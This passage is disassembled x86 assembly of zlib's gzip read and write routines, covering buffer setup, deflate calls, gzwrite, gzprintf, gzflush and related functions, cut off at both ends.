%ebp movl %esp, %ebp pushl %ebx pushl %eax movl 8(%ebp), %ebx xorl %eax, %eax testl %ebx, %ebx je .L0804A92A .L0804A91E: cmpl $7247, 16(%ebx) je .L0804A930 .L0804A927: movl 44(%ebx), %eax .L0804A92A: popl %edx popl %ebx leave ret .L0804A92E: .p2align 3 .L0804A930: movl 48(%ebx), %eax testl %eax, %eax jne .L0804A927 .L0804A937: movl (%ebx), %ecx testl %ecx, %ecx jne .L0804A927 .L0804A93D: movl %ebx, %eax call gz_look .L0804A944: movl 44(%ebx), %eax jmp .L0804A92A .size gzdirect, .-gzdirect # ---------------------- .L0804A949: .p2align 2 # ---------------------- .globl gzclose_r .type gzclose_r, @function gzclose_r: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %edi testl %edi, %edi movl $-2, %eax je .L0804A9B3 .L0804A961: cmpl $7247, 16(%edi) jne .L0804A9B3 .L0804A96A: movl 28(%edi), %ecx testl %ecx, %ecx jne .L0804A9BC .L0804A971: xorl %edx, %edx cmpl $-5, 88(%edi) pushl %eax pushl $0 pushl $0 setne %dl pushl %edi leal -5(%edx,%edx,4), %ebx call gz_error .L0804A989: popl %eax pushl 24(%edi) call free .L0804A992: popl %eax pushl 20(%edi) call close .L0804A99B: movl %eax, %esi movl %edi, (%esp) call free .L0804A9A5: addl $16, %esp testl %esi, %esi movl %ebx, %eax je .L0804A9B3 .L0804A9AE: movl $-1, %eax .L0804A9B3: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804A9BB: .p2align 2 .L0804A9BC: subl $12, %esp leal 96(%edi), %eax pushl %eax call inflateEnd .L0804A9C8: popl %edx pushl 40(%edi) call free .L0804A9D1: popl %eax pushl 36(%edi) call free .L0804A9DA: addl $16, %esp jmp .L0804A971 .size gzclose_r, .-gzclose_r # ---------------------- .L0804A9DF: .p2align 3 # ---------------------- .local gz_init .type gz_init, @function gz_init: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx subl $12, %esp pushl 32(%eax) movl %eax, %ebx leal 96(%eax), %esi call malloc .L0804A9F5: addl $16, %esp testl %eax, %eax movl %eax, 36(%ebx) je .L0804AAAD .L0804AA03: movl 44(%ebx), %eax testl %eax, %eax je .L0804AA30 .L0804AA0A: movl 32(%ebx), %edx testl %eax, %eax movl %edx, 28(%ebx) je .L0804AA20 .L0804AA14: xorl %eax, %eax .L0804AA16: leal -8(%ebp), %esp popl %ebx popl %esi leave ret .L0804AA1D: .p2align 3 .L0804AA20: movl 40(%ebx), %eax movl %eax, 12(%esi) movl %edx, 16(%esi) movl %eax, 4(%ebx) jmp .L0804AA14 .L0804AA2E: .p2align 3 .L0804AA30: subl $12, %esp pushl 32(%ebx) call malloc .L0804AA3B: addl $16, %esp testl %eax, %eax movl %eax, 40(%ebx) je .L0804AAB0 .L0804AA45: movl $0, 32(%esi) movl $0, 36(%esi) movl $0, 40(%esi) pushl $56 pushl $.LC0805482C pushl 72(%ebx) pushl $8 pushl $31 pushl $8 pushl 68(%ebx) pushl %esi call deflateInit2_ .L0804AA73: addl $32, %esp testl %eax, %eax jne .L0804AA7F .L0804AA7A: movl 44(%ebx), %eax jmp .L0804AA0A .L0804AA7F: subl $12, %esp pushl 40(%ebx) call free .L0804AA8A: popl %eax .L0804AA8B: pushl 36(%ebx) call free .L0804AA93: addl $12, %esp .L0804AA96: pushl $.LC080546E3 pushl $-4 pushl %ebx call gz_error .L0804AAA3: movl $-1, %eax jmp .L0804AA16 .L0804AAAD: pushl %edx jmp .L0804AA96 .L0804AAB0: subl $12, %esp jmp .L0804AA8B .size gz_init, .-gz_init # ---------------------- .L0804AAB5: .p2align 3 # ---------------------- .local gz_comp .type gz_comp, @function gz_comp: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl %eax, %edi leal 96(%eax), %ebx movl 28(%eax), %eax testl %eax, %eax movl %edx, -16(%ebp) je .L0804AB92 .L0804AAD4: movl 44(%edi), %edx testl %edx, %edx jne .L0804ABAC .L0804AADF: xorl %eax, %eax movl 16(%ebx), %ecx .L0804AAE4: testl %ecx, %ecx je .L0804AAF8 .L0804AAE8: movl -16(%ebp), %esi testl %esi, %esi je .L0804AB17 .L0804AAEF: cmpl $4, -16(%ebp) je .L0804AB6F .L0804AAF5: .p2align 3 .L0804AAF8: movl 12(%ebx), %eax movl 4(%edi), %edx movl %eax, %esi subl %edx, %esi jne .L0804AB54 .L0804AB04: testl %ecx, %ecx jne .L0804AB4C .L0804AB08: movl 28(%edi), %ecx movl 40(%edi), %eax movl %ecx, 16(%ebx) movl %eax, 12(%ebx) .L0804AB14: movl %eax, 4(%edi) .L0804AB17: subl $8, %esp pushl -16(%ebp) pushl %ebx movl %ecx, %esi call deflate .L0804AB25: addl $16, %esp cmpl $-2, %eax je .L0804AB88 .L0804AB2D: movl 16(%ebx), %ecx cmpl %ecx, %esi jne .L0804AAE4 .L0804AB34: cmpl $4, -16(%ebp) je .L0804ABF1 .L0804AB3E: xorl %edx, %edx .L0804AB40: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804AB4A: .p2align 2 .L0804AB4C: movl 12(%ebx), %eax jmp .L0804AB14 .L0804AB51: .p2align 2 .L0804AB54: pushl %eax pushl %esi pushl %edx pushl 20(%edi) call write .L0804AB5F: addl $16, %esp testl %eax, %eax js .L0804ABC6 .L0804AB66: cmpl %esi, %eax jne .L0804ABC6 .L0804AB6A: movl 16(%ebx), %ecx jmp .L0804AB04 .L0804AB6F: decl %eax je .L0804AAF8 .L0804AB72: subl $8, %esp pushl -16(%ebp) pushl %ebx movl %ecx, %esi call deflate .L0804AB80: addl $16, %esp cmpl $-2, %eax jne .L0804AB2D .L0804AB88: pushl %ecx pushl $.LC080548D0 pushl $-2 jmp .L0804ABDC .L0804AB92: movl %edi, %eax call gz_init .L0804AB99: incl %eax movl $-1, %edx je .L0804AB40 .L0804ABA1: movl 44(%edi), %edx testl %edx, %edx je .L0804AADF .L0804ABAC: pushl %esi pushl 4(%ebx) pushl (%ebx) pushl 20(%edi) call write .L0804ABBA: addl $16, %esp testl %eax, %eax js .L0804ABC6 .L0804ABC1: cmpl 4(%ebx), %eax je .L0804AC02 .L0804ABC6: subl $16, %esp call __errno_location .L0804ABCE: popl %ecx pushl (%eax) call strerror .L0804ABD6: addl $12, %esp pushl %eax pushl $-1 .L0804ABDC: pushl %edi call gz_error .L0804ABE2: leal -12(%ebp), %esp popl %ebx popl %esi movl $-1, %edx movl %edx, %eax popl %edi leave ret .L0804ABF1: subl $12, %esp pushl %ebx call deflateReset .L0804ABFA: addl $16, %esp jmp .L0804AB3E .L0804AC02: movl $0, 4(%ebx) jmp .L0804AB3E .size gz_comp, .-gz_comp # ---------------------- .L0804AC0E: .p2align 3 # ---------------------- .globl gzwrite .type gzwrite, @function gzwrite: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 8(%ebp), %esi movl 16(%ebp), %edi xorl %edx, %edx testl %esi, %esi movl %edi, -20(%ebp) je .L0804AC39 .L0804AC28: leal 96(%esi), %eax cmpl $31153, 16(%esi) movl %eax, -52(%ebp) je .L0804AC44 .L0804AC37: xorl %edx, %edx .L0804AC39: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804AC43: .p2align 2 .L0804AC44: movl 88(%esi), %edx testl %edx, %edx jne .L0804AC37 .L0804AC4B: cmpl $0, -20(%ebp) jl .L0804ADF7 .L0804AC55: je .L0804AC37 .L0804AC57: movl 28(%esi), %ecx testl %ecx, %ecx je .L0804AD02 .L0804AC62: movl 84(%esi), %ebx testl %ebx, %ebx je .L0804AD1C .L0804AC6D: movl $0, 84(%esi) movl -52(%ebp), %edx movl 4(%edx), %eax movl 76(%esi), %ebx movl 80(%esi), %ecx testl %eax, %eax movl %ebx, -32(%ebp) movl %ecx, -28(%ebp) jne .L0804AE0A .L0804AC8E: movl -28(%ebp), %eax movl $1, -36(%ebp) orl -32(%ebp), %eax .p2align 2 .L0804AC9C: je .L0804AD1C .L0804AC9E: xorl %edx, %edx cmpl -28(%ebp), %edx movl 28(%esi), %eax jl .L0804ACAF .L0804ACA8: jg .L0804AD17 .L0804ACAA: cmpl -32(%ebp), %eax ja .L0804AD17 .L0804ACAF: movl 28(%esi), %ebx .L0804ACB2: movl -36(%ebp), %ecx testl %ecx, %ecx jne .L0804AD91 .L0804ACBD: movl %ebx, -48(%ebp) movl -52(%ebp), %edx movl -48(%ebp), %eax movl $0, -44(%ebp) addl %eax, 8(%esi) movl %ebx, 4(%edx) movl 36(%esi), %ecx movl -44(%ebp), %ebx adcl %ebx, 12(%esi) movl %ecx, (%edx) movl %esi, %eax xorl %edx, %edx call gz_comp .L0804ACE7: incl %eax je .L0804AC37 .L0804ACEE: movl -48(%ebp), %eax subl %eax, -32(%ebp) movl -44(%ebp), %edx sbbl %edx, -28(%ebp) movl -28(%ebp), %ebx orl -32(%ebp), %ebx jmp .L0804AC9C .L0804AD02: movl %esi, %eax call gz_init .L0804AD09: xorl %edx, %edx incl %eax jne .L0804AC62 .L0804AD12: jmp .L0804AC39 .L0804AD17: movl -32(%ebp), %ebx jmp .L0804ACB2 .L0804AD1C: movl 28(%esi), %edx cmpl %edi, %edx jbe .L0804ADAC .L0804AD27: jmp .L0804AD80 .L0804AD29: .p2align 2 .L0804AD2C: movl 36(%esi), %ecx movl %ecx, (%eax) .L0804AD31: leal (%ecx,%ebx), %eax movl 36(%esi), %ecx subl %ecx, %eax movl %edx, %ebx subl %eax, %ebx cmpl %edi, %ebx jbe .L0804AD43 .L0804AD41: movl %edi, %ebx .L0804AD43: pushl %edx pushl %ebx leal (%ecx,%eax), %eax pushl 12(%ebp) pushl %eax call memcpy .L0804AD51: movl -52(%ebp), %eax xorl %ecx, %ecx addl %ebx, 4(%eax) addl %ebx, 8(%esi) adcl %ecx, 12(%esi) addl %ebx, 12(%ebp) addl $16, %esp subl %ebx, %edi je .L0804ADEF .L0804AD6D: xorl %edx, %edx movl %esi, %eax call gz_comp .L0804AD76: incl %eax je .L0804AC37 .L0804AD7D: movl 28(%esi), %edx .L0804AD80: movl -52(%ebp), %eax movl 4(%eax), %ebx testl %ebx, %ebx je .L0804AD2C .L0804AD8A: movl -52(%ebp), %eax movl (%eax), %ecx jmp .L0804AD31 .L0804AD91: pushl %ecx pushl %ebx pushl $0 pushl 36(%esi) call memset .L0804AD9D: addl $16, %esp movl $0, -36(%ebp) jmp .L0804ACBD .L0804ADAC: movl -52(%ebp), %ecx movl 4(%ecx), %ebx testl %ebx, %ebx je .L0804ADC8 .L0804ADB6: xorl %edx, %edx movl %esi, %eax call gz_comp .L0804ADBF: xorl %edx, %edx incl %eax je .L0804AC39 .L0804ADC8: movl -52(%ebp), %ebx movl %edi, %edx movl 12(%ebp), %eax movl %edi, 4(%ebx) xorl %edi, %edi addl %edx, 8(%esi) adcl %edi, 12(%esi) movl %eax, (%ebx) xorl %edx, %edx movl %esi, %eax call gz_comp .L0804ADE6: xorl %edx, %edx incl %eax je .L0804AC39 .L0804ADEF: movl -20(%ebp), %edx jmp .L0804AC39 .L0804ADF7: pushl %eax pushl $.LC08054888 pushl $-3 pushl %esi call gz_error .L0804AE05: jmp .L0804AC37 .L0804AE0A: xorl %edx, %edx movl %esi, %eax call gz_comp .L0804AE13: incl %eax jne .L0804AC8E .L0804AE1A: jmp .L0804AC37 .size gzwrite, .-gzwrite # ---------------------- .L0804AE1F: .p2align 3 # ---------------------- .globl gzputc .type gzputc, @function gzputc: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edi testl %edi, %edi movl $-1, %edx je .L0804AE56 .L0804AE35: movl 8(%ebp), %eax movl 8(%ebp), %edx addl $96, %eax cmpl $31153, 16(%edx) movl %eax, -24(%ebp) jne .L0804AE51 .L0804AE4A: movl 88(%edx), %esi testl %esi, %esi je .L0804AE60 .L0804AE51: movl $-1, %edx .L0804AE56: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804AE60: movl 8(%ebp), %ecx movl 84(%ecx), %ebx testl %ebx, %ebx je .L0804AF08 .L0804AE6E: movl $0, 84(%ecx) movl %ecx, %eax movl 76(%ecx), %ebx movl 80(%ecx), %esi movl -24(%ebp), %ecx movl 4(%ecx), %edx testl %edx, %edx jne .L0804AFC7 .L0804AE8B: movl %esi, %edi orl %ebx, %edi movl $1, -28(%ebp) je .L0804AF08 .L0804AE98: xorl %edx, %edx movl 8(%ebp), %ecx cmpl %esi, %edx movl 28(%ecx), %eax jl .L0804AEB4 .L0804AEA4: jg .L0804AF9C .L0804AEAA: cmpl %ebx, %eax ja .L0804AF9C .L0804AEB2: .p2align 2 .L0804AEB4: movl -28(%ebp), %edx movl 8(%ebp), %eax testl %edx, %edx movl 28(%eax), %edi jne .L0804AFA9 .L0804AEC5: movl 8(%ebp), %edx movl 36(%edx), %eax movl -24(%ebp), %ecx movl %edi, -40(%ebp) movl %edi, 4(%ecx) movl %eax, (%ecx) movl 8(%ebp), %edi movl -40(%ebp), %eax movl $0, -36(%ebp) addl %eax, 8(%edi) movl -36(%ebp), %edx adcl %edx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804AEF5: incl %eax je .L0804AE51 .L0804AEFC: subl -40(%ebp), %ebx sbbl -36(%ebp), %esi movl %esi, %edi orl %ebx, %edi jne .L0804AE98 .L0804AF08: movl 8(%ebp), %esi movl 28(%esi), %ecx testl %ecx, %ecx je .L0804AF70 .L0804AF12: movl -24(%ebp), %ebx movl 4(%ebx), %edx testl %edx, %edx je .L0804AF54 .L0804AF1C: movl -24(%ebp), %ebx movl (%ebx), %eax movl 8(%ebp), %edi addl %edx, %eax movl 36(%edi), %edx subl %edx, %eax cmpl %eax, %ecx jbe .L0804AF70 .L0804AF2F: movb 12(%ebp), %bl movb %bl, (%edx,%eax) movl 8(%ebp), %ecx movl -24(%ebp), %eax incl 4(%eax) addl $1, 8(%ecx) adcl $0, 12(%ecx) movzbl 12(%ebp), %edx .L0804AF4A: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804AF54: movl 8(%ebp), %esi movl 36(%esi), %eax movl -24(%ebp), %edi movl %eax, (%edi) movl 8(%ebp), %edi addl %edx, %eax movl 36(%edi), %edx subl %edx, %eax cmpl %eax, %ecx ja .L0804AF2F .L0804AF6D: .p2align 3 .L0804AF70: movb 12(%ebp), %cl movb %cl, -17(%ebp) pushl %edx pushl $1 leal -17(%ebp), %edx pushl %edx pushl 8(%ebp) call gzwrite .L0804AF85: addl $16, %esp decl %eax movl $-1, %edx jne .L0804AE56 .L0804AF94: movzbl 12(%ebp), %edx jmp .L0804AF4A .L0804AF9A: .p2align 2 .L0804AF9C: movl -28(%ebp), %edx testl %edx, %edx movl %ebx, %edi je .L0804AEC5 .L0804AFA9: pushl %ecx pushl %edi pushl $0 movl 8(%ebp), %ecx pushl 36(%ecx) call memset .L0804AFB8: addl $16, %esp movl $0, -28(%ebp) jmp .L0804AEC5 .L0804AFC7: xorl %edx, %edx call gz_comp .L0804AFCE: incl %eax jne .L0804AE8B .L0804AFD5: jmp .L0804AE51 .size gzputc, .-gzputc # ---------------------- .L0804AFDA: .p2align 2 # ---------------------- .globl gzputs .type gzputs, @function gzputs: pushl %ebp movl %esp, %ebp pushl %edi pushl %ebx xorl %eax, %eax cld movl 12(%ebp), %edi movl $-1, %ecx repnz scasb notl %ecx leal -1(%ecx), %ebx pushl %eax pushl %ebx pushl 12(%ebp) pushl 8(%ebp) call gzwrite .L0804B000: addl $16, %esp testl %eax, %eax jne .L0804B010 .L0804B007: testl %ebx, %ebx movl $-1, %edx jne .L0804B012 .L0804B010: movl %eax, %edx .L0804B012: leal -8(%ebp), %esp popl %ebx movl %edx, %eax popl %edi leave ret .size gzputs, .-gzputs # ---------------------- .L0804B01B: .p2align 2 # ---------------------- .globl gzvprintf .type gzvprintf, @function gzvprintf: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edi testl %edi, %edi movl $-1, %edx je .L0804B042 .L0804B031: leal 96(%edi), %eax cmpl $31153, 16(%edi) movl %eax, -36(%ebp) je .L0804B04C .L0804B040: xorl %edx, %edx .L0804B042: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804B04C: movl 88(%edi), %ecx testl %ecx, %ecx jne .L0804B040 .L0804B053: movl 28(%edi), %edx testl %edx, %edx je .L0804B1B1 .L0804B05E: movl 84(%edi), %ebx testl %ebx, %ebx je .L0804B104 .L0804B069: movl $0, 84(%edi) movl -36(%ebp), %ecx movl 4(%ecx), %eax testl %eax, %eax movl 76(%edi), %ebx movl 80(%edi), %esi jne .L0804B17D .L0804B084: movl %esi, %edx movl $1, -20(%ebp) orl %ebx, %edx .p2align 3 .L0804B090: je .L0804B104 .L0804B092: xorl %ecx, %ecx cmpl %esi, %ecx movl 28(%edi), %eax jl .L0804B0AC .L0804B09B: jg .L0804B175 .L0804B0A1: cmpl %ebx, %eax ja .L0804B175 .L0804B0A9: .p2align 2 .L0804B0AC: movl 28(%edi), %eax movl %eax, -24(%ebp) .L0804B0B2: movl -20(%ebp), %edx testl %edx, %edx jne .L0804B194 .L0804B0BD: movl -24(%ebp), %edx movl -36(%ebp), %ecx movl %edx, 4(%ecx) movl -24(%ebp), %edx movl 36(%edi), %eax movl -36(%ebp), %ecx movl %edx, -32(%ebp) movl %eax, (%ecx) movl $0, -28(%ebp) movl -32(%ebp), %eax addl %eax, 8(%edi) movl -28(%ebp), %ecx adcl %ecx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804B0F0: incl %eax je .L0804B040 .L0804B0F7: subl -32(%ebp), %ebx sbbl -28(%ebp), %esi movl %esi, %eax orl %ebx, %eax jmp .L0804B090 .L0804B103: .p2align 2 .L0804B104: movl -36(%ebp), %ebx movl 4(%ebx), %esi testl %esi, %esi je .L0804B120 .L0804B10E: xorl %edx, %edx movl %edi, %eax call gz_comp .L0804B117: xorl %edx, %edx incl %eax je .L0804B042 .L0804B120: movl 36(%edi), %ecx movl 28(%edi), %ebx movb $0, -1(%ecx,%ebx) pushl 16(%ebp) pushl 12(%ebp) pushl %ebx pushl 36(%edi) call vsnprintf .L0804B13A: addl $16, %esp testl %eax, %eax movl %eax, %ecx jle .L0804B040 .L0804B147: cmpl %ebx, %eax jge .L0804B040 .L0804B14F: movl 36(%edi), %eax cmpb $0, -1(%eax,%ebx) jne .L0804B040 .L0804B15D: movl -36(%ebp), %esi movl %eax, (%esi) movl %ecx, %eax cltd addl %ecx, 8(%edi) adcl %edx, 12(%edi) movl %ecx, %edx movl %ecx, 4(%esi) jmp .L0804B042 .L0804B175: movl %ebx, -24(%ebp) jmp .L0804B0B2 .L0804B17D: xorl %edx, %edx movl %edi, %eax call gz_comp .L0804B186: incl %eax jne .L0804B084 .L0804B18D: jmp .L0804B040 .L0804B192: .p2align 2 .L0804B194: pushl %eax pushl -24(%ebp) pushl $0 pushl 36(%edi) call memset .L0804B1A2: addl $16, %esp movl $0, -20(%ebp) jmp .L0804B0BD .L0804B1B1: movl %edi, %eax call gz_init .L0804B1B8: xorl %edx, %edx incl %eax jne .L0804B05E .L0804B1C1: jmp .L0804B042 .size gzvprintf, .-gzvprintf # ---------------------- .L0804B1C6: .p2align 3 # ---------------------- .globl gzprintf .type gzprintf, @function gzprintf: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edi testl %edi, %edi movl $-1, %edx je .L0804B1EE .L0804B1DD: leal 96(%edi), %eax cmpl $31153, 16(%edi) movl %eax, -36(%ebp) je .L0804B1F8 .L0804B1EC: xorl %edx, %edx .L0804B1EE: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804B1F8: movl 88(%edi), %edx testl %edx, %edx jne .L0804B1EC .L0804B1FF: movl 28(%edi), %ecx testl %ecx, %ecx je .L0804B35D .L0804B20A: movl 84(%edi), %ebx testl %ebx, %ebx je .L0804B2B0 .L0804B215: movl $0, 84(%edi) movl -36(%ebp), %edx movl 4(%edx), %eax testl %eax, %eax movl 76(%edi), %ebx movl 80(%edi), %esi jne .L0804B32B .L0804B230: movl %esi, %ecx movl $1, -20(%ebp) orl %ebx, %ecx .p2align 2 .L0804B23C: je .L0804B2B0 .L0804B23E: xorl %edx, %edx cmpl %esi, %edx movl 28(%edi), %eax jl .L0804B258 .L0804B247: jg .L0804B323 .L0804B24D: cmpl %ebx, %eax ja .L0804B323 .L0804B255: .p2align 3 .L0804B258: movl 28(%edi), %eax movl %eax, -24(%ebp) .L0804B25E: movl -20(%ebp), %ecx testl %ecx, %ecx jne .L0804B340 .L0804B269: movl -24(%ebp), %edx movl -36(%ebp), %ecx movl %edx, 4(%ecx) movl -24(%ebp), %ecx movl 36(%edi), %eax movl -36(%ebp), %edx movl %ecx, -32(%ebp) movl %eax, (%edx) movl $0, -28(%ebp) movl -32(%ebp), %eax addl %eax, 8(%edi) movl -28(%ebp), %edx adcl %edx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804B29C: incl %eax je .L0804B1EC .L0804B2A3: subl -32(%ebp), %ebx sbbl -28(%ebp), %esi movl %esi, %eax orl %ebx, %eax jmp .L0804B23C .L0804B2AF: .p2align 3 .L0804B2B0: movl -36(%ebp), %ebx movl 4(%ebx), %esi testl %esi, %esi jne .L0804B310 .L0804B2BA: movl 28(%edi), %ebx movl 36(%edi), %edx leal 16(%ebp), %ecx movb $0, -1(%edx,%ebx) pushl %ecx pushl 12(%ebp) pushl %ebx pushl 36(%edi) call vsnprintf .L0804B2D5: addl $16, %esp testl %eax, %eax movl %eax, %ecx jle .L0804B1EC .L0804B2E2: cmpl %ebx, %eax jge .L0804B1EC .L0804B2EA: movl 36(%edi), %eax cmpb $0, -1(%eax,%ebx) jne .L0804B1EC .L0804B2F8: movl -36(%ebp), %esi movl %eax, (%esi) movl %ecx, %eax cltd addl %ecx, 8(%edi) adcl %edx, 12(%edi) movl %ecx, %edx movl %ecx, 4(%esi) jmp .L0804B1EE .L0804B310: xorl %edx, %edx movl %edi, %eax call gz_comp .L0804B319: xorl %edx, %edx incl %eax jne .L0804B2BA .L0804B31E: jmp .L0804B1EE .L0804B323: movl %ebx, -24(%ebp) jmp .L0804B25E .L0804B32B: xorl %edx, %edx movl %edi, %eax call gz_comp .L0804B334: incl %eax jne .L0804B230 .L0804B33B: jmp .L0804B1EC .L0804B340: pushl %eax pushl -24(%ebp) pushl $0 pushl 36(%edi) call memset .L0804B34E: addl $16, %esp movl $0, -20(%ebp) jmp .L0804B269 .L0804B35D: movl %edi, %eax call gz_init .L0804B364: xorl %edx, %edx incl %eax jne .L0804B20A .L0804B36D: jmp .L0804B1EE .size gzprintf, .-gzprintf # ---------------------- .L0804B372: .p2align 2 # ---------------------- .globl gzflush .type gzflush, @function gzflush: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edx testl %edx, %edx movl $-1, %eax je .L0804B475 .L0804B38D: movl 8(%ebp), %eax cmpl $31153, 16(%eax) jne .L0804B470 .L0804B39D: movl 88(%eax), %eax testl %eax, %eax jne .L0804B470 .L0804B3A8: cmpl $4, 12(%ebp) movl $-2, %eax ja .L0804B475 .L0804B3B7: movl 8(%ebp), %edx movl 84(%edx), %ecx testl %ecx, %ecx je .L0804B454 .L0804B3C5: movl %edx, %eax addl $96, %eax movl $0, 84(%edx) movl 4(%eax), %edi testl %edi, %edi movl 76(%edx), %ebx movl 80(%edx), %esi movl %eax, -24(%ebp) jne .L0804B4A7 .L0804B3E5: movl %esi, %edx orl %ebx, %edx movl $1, -20(%ebp) je .L0804B454 .L0804B3F2: .p2align 2 .L0804B3F4: xorl %ecx, %ecx movl 8(%ebp), %edi cmpl %esi, %ecx movl 28(%edi), %eax jl .L0804B408 .L0804B400: jg .L0804B480 .L0804B402: cmpl %ebx, %eax ja .L0804B480 .L0804B406: .p2align 3 .L0804B408: movl -20(%ebp), %edx movl 8(%ebp), %eax testl %edx, %edx movl 28(%eax), %edi jne .L0804B489 .L0804B415: movl 8(%ebp), %edx movl 36(%edx), %eax movl -24(%ebp), %ecx movl %edi, -32(%ebp) movl %edi, 4(%ecx) movl %eax, (%ecx) movl 8(%ebp), %edi movl -32(%ebp), %eax movl $0, -28(%ebp) addl %eax, 8(%edi) movl -28(%ebp), %edx adcl %edx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804B445: incl %eax je .L0804B4B8 .L0804B448: subl -32(%ebp), %ebx sbbl -28(%ebp), %esi movl %esi, %edx orl %ebx, %edx jne .L0804B3F4 .L0804B454: movl 12(%ebp), %edx movl 8(%ebp), %eax call gz_comp .L0804B45F: movl 8(%ebp), %ebx movl 88(%ebx), %eax leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804B46D: .p2align 3 .L0804B470: movl $-2, %eax .L0804B475: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804B47D: .p2align 3 .L0804B480: movl -20(%ebp), %edx testl %edx, %edx movl %ebx, %edi je .L0804B415 .L0804B489: pushl %edx pushl %edi pushl $0 movl 8(%ebp), %ecx pushl 36(%ecx) call memset .L0804B498: addl $16, %esp movl $0, -20(%ebp) jmp .L0804B415 .L0804B4A7: xorl %edx, %edx movl 8(%ebp), %eax call gz_comp .L0804B4B1: incl %eax jne .L0804B3E5 .L0804B4B8: movl $-1, %eax jmp .L0804B475 .size gzflush, .-gzflush # ---------------------- .L0804B4BF: .p2align 3 # ---------------------- .globl gzsetparams .type gzsetparams, @function gzsetparams: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edi testl %edi, %edi movl $-2, %eax je .L0804B60D .L0804B4D9: movl 8(%ebp), %eax movl 8(%ebp), %edx addl $96, %eax cmpl $31153, 16(%edx) movl %eax, -36(%ebp) jne .L0804B608 .L0804B4F2: movl 88(%edx), %esi testl %esi, %esi jne .L0804B608 .L0804B4FD: movl 12(%ebp), %edx movl 8(%ebp), %ecx cmpl %edx, 68(%ecx) je .L0804B658 .L0804B50C: movl 8(%ebp), %ecx movl 84(%ecx), %edi testl %edi, %edi je .L0804B5B4 .L0804B51A: movl $0, 84(%ecx) movl -36(%ebp), %edx movl %ecx, %eax movl 76(%ecx), %ebx movl 80(%ecx), %esi movl 4(%edx), %ecx testl %ecx, %ecx jne .L0804B643 .L0804B537: movl %esi, %eax orl %ebx, %eax movl $1, -20(%ebp) je .L0804B5B4 .L0804B544: xorl %edi, %edi movl 8(%ebp), %ecx cmpl %esi, %edi movl 28(%ecx), %eax jl .L0804B560 .L0804B550: jg .L0804B618 .L0804B556: cmpl %ebx, %eax ja .L0804B618 .L0804B55E: .p2align 3 .L0804B560: movl -20(%ebp), %eax movl 8(%ebp), %edx testl %eax, %eax movl 28(%edx), %edi jne .L0804B625 .L0804B571: movl 8(%ebp), %edx movl 36(%edx), %eax movl -36(%ebp), %ecx movl %edi, -32(%ebp) movl %edi, 4(%ecx) movl %eax, (%ecx) movl 8(%ebp), %edi movl -32(%ebp), %eax movl $0, -28(%ebp) addl %eax, 8(%edi) movl -28(%ebp), %edx adcl %edx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804B5A1: incl %eax je .L0804B651 .L0804B5A8: subl -32(%ebp), %ebx sbbl -28(%ebp), %esi movl %esi, %edi orl %ebx, %edi jne .L0804B544 .L0804B5B4: movl 8(%ebp), %ebx movl 28(%ebx), %esi testl %esi, %esi je .L0804B5EE .L0804B5BE: movl -36(%ebp), %ecx movl 4(%ecx), %eax testl %eax, %eax je .L0804B5DC .L0804B5C8: movl $1, %edx movl 8(%ebp), %eax call gz_comp .L0804B5D5: incl %eax je .L0804B668 .L0804B5DC: pushl %ecx pushl 16(%ebp) pushl 12(%ebp) pushl -36(%ebp) call deflateParams .L0804B5EB: addl $16, %esp .L0804B5EE: movl 12(%ebp), %ebx movl 8(%ebp), %edi movl 16(%ebp), %esi movl %ebx, 68(%edi) movl %esi, 72(%edi) leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L0804B607: .p2align 3 .L0804B608: movl $-2, %eax .L0804B60D: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804B615: .p2align 3 .L0804B618: movl -20(%ebp), %eax testl %eax, %eax movl %ebx, %edi je .L0804B571 .L0804B625: pushl %eax pushl %edi pushl $0 movl 8(%ebp), %ecx pushl 36(%ecx) call memset .L0804B634: addl $16, %esp movl $0, -20(%ebp) jmp .L0804B571 .L0804B643: xorl %edx, %edx call gz_comp .L0804B64A: incl %eax jne .L0804B537 .L0804B651: movl $-1, %eax jmp .L0804B60D .L0804B658: movl 16(%ebp), %ebx xorl %eax, %eax cmpl %ebx, 72(%ecx) jne .L0804B50C .L0804B666: jmp .L0804B60D .L0804B668: movl 8(%ebp), %edx movl 88(%edx), %eax jmp .L0804B60D .size gzsetparams, .-gzsetparams # ---------------------- .globl gzclose_w .type gzclose_w, @function gzclose_w: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edx testl %edx, %edx movl $0, -20(%ebp) movl $-2, %eax je .L0804B722 .L0804B690: movl 8(%ebp), %edx cmpl $31153, 16(%edx) jne .L0804B722 .L0804B6A0: movl 84(%edx), %eax testl %eax, %eax 